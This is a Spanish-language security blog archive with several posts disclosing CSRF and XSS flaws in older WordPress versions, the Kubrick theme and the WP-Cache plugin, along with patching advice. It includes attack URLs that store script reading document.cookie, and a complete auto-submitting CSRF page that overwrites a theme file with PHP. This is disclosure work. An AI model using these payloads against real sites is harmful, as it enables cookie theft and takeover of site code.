Category: CSRF

Categories
CSRF Seguridad Web WordPress XSS

XSS en el tema Kubrick de WordPress

Kubrick, tema por omisión de WordPress, es vulnerable a ataques CSRF, esto tiene como consecuencia que un atacante pueda almacenar HTML arbitrario en sus opciones, si alguno de ustedes usa este tema, puede probar los siguientes ejemplos (o variantes) para determinar si su blog se ve afectado o no por este problema.

code:

XSS persistente que sólo funciona en IE
http://localhost/wp/wp-admin/themes.php?page=functions.php&action=save&fontcolor=expression(alert(document.cookie))

XSS persistente, funciona en todos los navegadores:
http://localhost/wp/wp-admin/themes.php?page=functions.php&action=save&headerimage='--></style><script>alert(document.cookie)</script>

Es muy probable que otros temas también sean vulnerables a este tipo de ataques, por lo cual, si vuestro blog les importa, deben tener cuidado con los plugins y temas que instalan o usan.

Categories
.NET AJAX ASP.NET CSRF Miniposts Seguridad XSS

Bug XSS en ASP.NET 2.0 y video sobre XSS, CSRF, Ajax Hacking

Para los interesados:

Categories
CSRF Seguridad Web WordPress XSS

Actualización de seguridad: WP-Cache 2.1.1

Este último fin de semana, Ricardo Galli liberó una nueva versión que corrige unos problemas de seguridad presente en su popular plugin WP-Cache.

Estos problemas se presentaban porque en versiones anteriores no se implementaron ningún tipo de control para evitar ataques del tipo CSRF al momento de guardar las opciones de este plugin, por lo cual alguien podía usar un exploit parecido al de unos días atrás para persistir HTML peligroso en el archivo de configuración.

Si la siguiente prueba de concepto funciona en tu blog, entonces es recomendable actualizar de versión (sólo se hicieron cambios en la página que guarda las preferencias, así que no debería haber problemas):

code:

http://wp/wp-admin/options-general.php?page=wp-cache/wp-cache.php&wp_rejected_user_agent=</textarea><script>alert(/XSS/)</script>

Por otro lado, si tienen algo de experiencia en PHP, les sugiero que revisen los plugins que actualmente usan y guardan sus preferencias en base de datos (presencia de la función update_option); si no encuentran ninguna llamada a las funciones wp_nonce_field, wp_nonce_url, wp_verify_nonce o check_admin_referer, entonces probablemente sus instalaciones de WordPress son vulnerables a este tipo de ataques.

Categories
CSRF Seguridad Web WordPress XSS

WordPress, XSS y CSRF – Final

Puesto que el anterior quiz ya fue resuelto, pongo la prueba de concepto que permite sobreescribir cualquier archivo del tema que esté usando una determinada instalación de WordPress (el que viene por defecto para este ejemplo), esto funcionará siempre y cuando el usuario actual tenga los permisos suficientes como para modificar los archivos del tema.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>WordPress XSS PoC</title>
</head>
<body id="main">

        <form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
                <p>
                        <textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
                </p>
                <p>
                        <input type="hidden" name="action" value="update" />
                        <input type="hidden" name="file" value="wp-content/themes/default/index.php" />  
                </p>
        </form> 
        <script type="text/javascript">
        // <![CDATA[
                document.forms[0].submit();
        // ]]>
        </script>
</body>
</html>

El código que genera una versión vulnerable de WordPress para la prueba de concepto es el siguiente:

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
        <title>WordPress Confirmation</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <link rel="stylesheet" href="install.css" type="text/css" />
</head>
<body>
        <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
        <p>     <form method='post' action='theme-editor.php'><image src=a onerror=javascript:document.forms[0].submit()><a'.php'>

                <input type='hidden' name='action' value='update' />
                <input type='hidden' name='newcontent' value='<?php echo "owned! " . date('F j, y'); ?>' />
                <input type='hidden' name='file' value='wp-content/themes/default/index.php' />
                <input type='hidden' name='do' value='Do!' />
                <input type='hidden' name='_wpnonce' value='1d0bfa4c4e' />
                <div id='message' class='confirm fade'>
                <p>Are you sure you want to edit this theme file: "wp-content/themes/default/index.phpWordPress Default"?</p>

                <p><a href='http://localhost/wordpress/wp-admin'>No</a> <input type='submit' value='Yes' /></p>
                </div>
        </form>
</body>
</html></p>
</body>
</html>

La parte más interesante de la prueba de concepto, es que se hace uso de una etiqueta HTML que no necesita cierre y que además permite tener un pequeño tiempo de gracia para que cargue la página y se envíen todos los campos del formulario, es por este motivo que el código javascript se ubica en el evento onerror (soportado por la mayoría de navegadores) de la etiqueta IMG.

Para aprovechar esta vulnerabilidad sin que la víctima se de cuenta, podemos hacer uso de CSRF, esto es cargar el código mostrado desde un iframe e incitar al usuario afectado para que visite una página confiable que contenga el elemento mencionado.

Categories
CSRF WordPress XSS

WordPress, XSS y CSRF – Parte 1

Puesto que ya está disponible la Release Candidate 2 de WordPress 2.1.3 y 2.0.10, paso a comentar, como lo había prometido, los detalles del fallo de seguridad que afecta a todas las versiones menores a las que liberaron hoy (me parece que se salvan los que corren PHP como CGI, los que estén usando la alternativa de solución que propuse, los que tengan activo el módulo mod_security o PATH_INFO deshabilitado en sus servidores Web).

Este problema se origina por el valor que puede llegar a tener $_SERVER['PHP_SELF'] debido a que ésta es fácilmente manipulable por el cliente, tal como se puede apreciar en el caso menéame o uno de los ejercicios que mi buen amigo Braulio puso cuando todavía estaba en Cusco.

Repasando un poco el comportamiento de esta variable, tomaremos como base el siguiente código:

php:

<?php
// php_self.php
header('Content-type: text/plain');

echo $_SERVER['PHP_SELF']."\n";
echo $_SERVER["PATH_INFO"]."\n";

?>

Si alguien intenta invocar a nuestro script de la siguiente manera: /php_self.php/<xss>, entonces lo que se envía al navegador es lo siguiente:

code:

/php_self.php/<xss>
/<xss>

En WordPress, existe un sólo lugar* en el que se envía directamente el contenido de esta variable al navegador, ésta se encuentra en la función get_pagenum_link de wp-admin/link-template.php.

php:

$index = $_SERVER['PHP_SELF'];
$index = preg_replace('|^'. $home_root . '|', '', $index);
$index = preg_replace('|^/+|', '', $index);

Una vez identificado el punto débil, para conseguir ejecutar javascript usando este problema, depende de la estructura que hayan definido para las URL, por ejemplo una instalación normal (versión 2.1.3 RC1) es muy probable que sea afectada.

En la siguiente entrega viene la parte más interesante de este bug, es muy probable que lo ponga como ejercicio para la siguiente semana 😉 , mientras tanto, los que tienen blogs basados en WordPress, vayan actualizando sus versiones.

*: si alguien encuentra más, puede ayudar reportándolo a través de la página de incidencias de WordPress.